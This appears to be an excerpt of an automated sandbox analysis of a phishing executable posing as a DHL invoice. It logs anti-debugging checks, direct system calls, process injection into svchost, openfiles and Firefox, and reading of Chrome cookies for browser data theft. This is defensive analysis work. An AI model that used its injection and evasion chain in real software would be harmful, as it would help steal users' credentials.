Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]	2_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]	2_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]	2_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]	2_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB89B3 mov esi, dword ptr fs:[00000030h]	2_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]	2_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]	2_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE9E0 mov eax, dword ptr fs:[00000030h]	2_2_03ABE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]	2_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]	2_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC69C0 mov eax, dword ptr fs:[00000030h]	2_2_03AC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A649D0 mov eax, dword ptr fs:[00000030h]	2_2_03A649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA9D3 mov eax, dword ptr fs:[00000030h]	2_2_03AFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB892A mov eax, dword ptr fs:[00000030h]	2_2_03AB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC892B mov eax, dword ptr fs:[00000030h]	2_2_03AC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]	2_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]	2_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC912 mov eax, dword ptr fs:[00000030h]	2_2_03ABC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]	2_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]	2_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]	2_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7096E mov edx, dword ptr fs:[00000030h]	2_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]	2_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]	2_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]	2_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC97C mov eax, dword ptr fs:[00000030h]	2_2_03ABC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0946 mov eax, dword ptr fs:[00000030h]	2_2_03AB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30887 mov eax, dword ptr fs:[00000030h]	2_2_03A30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC89D mov eax, dword ptr fs:[00000030h]	2_2_03ABC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA8E4 mov eax, dword ptr fs:[00000030h]	2_2_03AFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E8C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov ecx, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A830 mov eax, dword ptr fs:[00000030h]	2_2_03A6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]	2_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]	2_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC810 mov eax, dword ptr fs:[00000030h]	2_2_03ABC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE872 mov eax, dword ptr fs:[00000030h]	2_2_03ABE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE872 mov eax, dword ptr fs:[00000030h]	2_2_03ABE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6870 mov eax, dword ptr fs:[00000030h]	2_2_03AC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6870 mov eax, dword ptr fs:[00000030h]	2_2_03AC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A42840 mov ecx, dword ptr fs:[00000030h]	2_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60854 mov eax, dword ptr fs:[00000030h]	2_2_03A60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34859 mov eax, dword ptr fs:[00000030h]	2_2_03A34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34859 mov eax, dword ptr fs:[00000030h]	2_2_03A34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CF80 mov eax, dword ptr fs:[00000030h]	2_2_03A6CF80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A62F98 mov eax, dword ptr fs:[00000030h]	2_2_03A62F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A62F98 mov eax, dword ptr fs:[00000030h]	2_2_03A62F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4CFE0 mov eax, dword ptr fs:[00000030h]	2_2_03A4CFE0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_00426DA1

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\openfiles.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\openfiles.exe

Thread register set: target process: 6972

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\openfiles.exe

Thread APC queued: target process: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 30D2008

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe"	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: OhOEhutKIH.exe, 00000004.00000000.2322324134.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922911328.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472086492.0000000001211000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, OhOEhutKIH.exe, 00000004.00000000.2322324134.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922911328.0000000001111000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: OhOEhutKIH.exe, 00000004.00000000.2322324134.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922911328.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472086492.0000000001211000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: OhOEhutKIH.exe, 00000004.00000000.2322324134.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922911328.0000000001111000.00000002.00000001.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472086492.0000000001211000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
